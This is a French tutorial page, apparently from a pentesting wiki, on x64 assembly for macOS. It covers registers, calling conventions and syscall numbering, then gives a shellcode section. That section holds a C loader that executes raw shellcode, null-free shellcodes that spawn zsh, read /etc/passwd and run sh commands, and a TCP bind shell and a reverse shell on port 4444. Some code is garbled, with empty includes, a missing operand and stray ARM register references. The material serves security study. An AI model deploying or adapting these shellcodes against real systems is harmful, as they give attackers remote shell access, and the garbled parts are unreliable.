# Introduction à x64
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## **Introduction à x64**
x64, également connu sous le nom de x86-64, est une architecture de processeur 64 bits principalement utilisée dans les ordinateurs de bureau et les serveurs. Issu de l'architecture x86 produite par Intel et adoptée ultérieurement par AMD sous le nom AMD64, c'est l'architecture prédominante dans les ordinateurs personnels et les serveurs d'aujourd'hui.
### **Registres**
x64 étend l'architecture x86, avec **16 registres généraux** étiquetés `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` et `r8` à `r15`. Chacun de ces registres peut stocker une valeur de **64 bits** (8 octets). Ces registres disposent également de sous-registres de 32 bits, 16 bits et 8 bits pour la compatibilité et des tâches spécifiques.
1. **`rax`** - Traditionnellement utilisé pour les **valeurs de retour** des fonctions.
2. **`rbx`** - Souvent utilisé comme **registre de base** pour les opérations de mémoire.
3. **`rcx`** - Couramment utilisé pour les **compteurs de boucle**.
4. **`rdx`** - Utilisé dans divers rôles, y compris les opérations arithmétiques étendues.
5. **`rbp`** - **Pointeur de base** pour le cadre de la pile.
6. **`rsp`** - **Pointeur de pile**, permettant de suivre le sommet de la pile.
7. **`rsi`** et **`rdi`** - Utilisés pour les index **source** et **destination** dans les opérations de chaîne/mémoire.
8. **`r8`** à **`r15`** - Registres généraux supplémentaires introduits dans x64.
### **Convention d'appel**
La convention d'appel x64 varie selon les systèmes d'exploitation. Par exemple :
* **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`** et **`r9`**. Les autres paramètres sont poussés sur la pile. La valeur de retour est dans **`rax`**.
* **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** et **`r9`**. La valeur de retour est également dans **`rax`**.
Si la fonction a plus de six entrées, le **reste sera passé sur la pile**. **RSP**, le pointeur de pile, doit être **aligné sur 16 octets**, ce qui signifie que l'adresse vers laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.
### Convention d'appel en Swift
Swift a sa propre **convention d'appel** que l'on peut trouver dans [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Instructions courantes**
Les instructions x64 disposent d'un ensemble riche, maintenant la compatibilité avec les anciennes instructions x86 et en introduisant de nouvelles.
* **`mov`** : **Déplace** une valeur d'un **registre** ou d'un **emplacement mémoire** vers un autre.
* Exemple : `mov rax, rbx` — Déplace la valeur de `rbx` vers `rax`.
* **`push`** et **`pop`** : Pousse ou dépile des valeurs vers/depuis la **pile**.
* Exemple : `push rax` — Pousse la valeur de `rax` sur la pile.
* Exemple : `pop rax` — Dépile la valeur supérieure de la pile dans `rax`.
* **`add`** et **`sub`** : Opérations d'**addition** et de **soustraction**.
* Exemple : `add rax, rcx` — Ajoute les valeurs de `rax` et `rcx` en stockant le résultat dans `rax`.
* **`mul`** et **`div`** : Opérations de **multiplication** et de **division**. Remarque : elles ont des comportements spécifiques concernant l'utilisation des opérandes.
* **`call`** et **`ret`** : Utilisés pour **appeler** et **revenir des fonctions**.
* **`int`** : Utilisé pour déclencher une **interruption logicielle**. Par exemple, `int 0x80` était utilisé pour les appels système en x86 Linux 32 bits.
* **`cmp`** : **Compare** deux valeurs et définit les indicateurs du CPU en fonction du résultat.
* Exemple : `cmp rax, rdx` — Compare `rax` à `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...** : Instructions de **saut conditionnel** qui modifient le flux de contrôle en fonction des résultats d'un `cmp` ou d'un test précédent.
* Exemple : Après une instruction `cmp rax, rdx`, `je label` — Sauter à `label` si `rax` est égal à `rdx`.
* **`syscall`** : Utilisé pour les **appels système** dans certains systèmes x64 (comme les systèmes Unix modernes).
* **`sysenter`** : Une instruction d'**appel système** optimisée sur certaines plates-formes.
### **Prologue de fonction**
1. **Pousser l'ancien pointeur de base** : `push rbp` (sauvegarde le pointeur de base de l'appelant)
2. **Déplacer le pointeur de pile actuel vers le pointeur de base** : `mov rbp, rsp` (configure le nouveau pointeur de base pour la fonction actuelle)
3. **Allouer de l'espace sur la pile pour les variables locales** : `sub rsp, ` (où `` est le nombre d'octets nécessaires)
### **Épilogue de fonction**
1. **Déplacer le pointeur de base actuel vers le pointeur de pile** : `mov rsp, rbp` (désalloue les variables locales)
2. **Dépiler l'ancien pointeur de base de la pile** : `pop rbp` (restaure le pointeur de base de l'appelant)
3. **Retourner** : `ret` (retourne le contrôle à l'appelant)
## macOS
### appels système
Il existe différentes classes d'appels système, vous pouvez les [**trouver ici**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Ensuite, vous pouvez trouver le numéro de chaque appel système [**dans cette URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Donc, pour appeler l'appel système `open` (**5**) de la classe **Unix/BSD**, vous devez l'ajouter : `0x2000000`
Ainsi, le numéro de l'appel système pour appeler open serait `0x2000005`
### Shellcodes
Pour compiler :
{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
Pour extraire les octets :
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}
Code C pour tester le shellcode
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include
#include
#include
#include
int (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
#### Shell
Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.
{% tabs %}
{% tab title="avec adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% tab title="avec la pile" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### Lire avec cat
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### Exécuter une commande avec sh
Pour exécuter une commande avec `sh` sur macOS, vous pouvez utiliser la syntaxe suivante :
```sh
sh -c "commande"
```
Remplacez `"commande"` par la commande que vous souhaitez exécuter. Par exemple, si vous souhaitez exécuter la commande `ls -l` avec `sh`, vous pouvez utiliser la commande suivante :
```sh
sh -c "ls -l"
```
Cela exécutera la commande `ls -l` en utilisant `sh` sur votre système macOS.
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Shell en écoute
Shell en écoute depuis [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) sur le **port 4444**.
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### Reverse Shell
Reverse shell depuis [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell vers **127.0.0.1:4444**.
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
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* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
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